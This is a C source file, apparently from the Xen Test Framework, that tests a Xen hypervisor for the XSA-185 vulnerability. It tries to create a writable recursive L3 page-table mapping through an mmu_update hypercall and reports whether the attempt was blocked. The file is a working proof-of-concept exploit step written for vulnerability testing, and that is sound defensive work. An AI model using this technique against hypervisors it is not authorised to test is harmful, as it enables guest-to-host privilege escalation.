main.c

Go to the documentation of this file.

#include <xtf.h>

const char test_title[] = "XSA-185 PoC";

void test_main(void)
{
    paddr_t cr3_paddr = (paddr_t)xen_cr3_to_pfn(read_cr3()) << PAGE_SHIFT;

     /*
      * Force the use of slot 2.
      *
      * Slots 0 and 3 are definitely in use, and we only have 4 to choose
      * from.  Lets hope that nothing import is using the 3rd GB of virtual
      * address space.
      */
    unsigned long map_slot = 2;

    mmu_update_t mu =
        {
            .ptr = cr3_paddr + (map_slot * PAE_PTE_SIZE),
            .val = cr3_paddr | PF_SYM(AD, U, P),
        };

    printk("  Creating recursive l3 mapping\n");
    if ( hypercall_mmu_update(&mu, 1, NULL, DOMID_SELF) )
    {
        printk("  Attempt to create recursive l3 mapping was blocked\n");
        return xtf_success("Not vulerable to XSA-185\n");
    }

    /* Construct a pointer in the linear map to l3 table. */
    intpte_t *l3_linear = _p(map_slot << L3_PT_SHIFT |
                             map_slot << L2_PT_SHIFT |
                             map_slot << L1_PT_SHIFT);

    if ( l3_linear[map_slot] & PF_SYM(RW) )
        return xtf_failure("Fail: l3 linear mapping is RW\n");
    else
        return xtf_error("Error: l3 linear mapping is not RW, but wasn't blocked\n");
}

/*
 * Local variables:
 * mode: C
 * c-file-style: "BSD"
 * c-basic-offset: 4
 * tab-width: 4
 * indent-tabs-mode: nil
 * End:
 */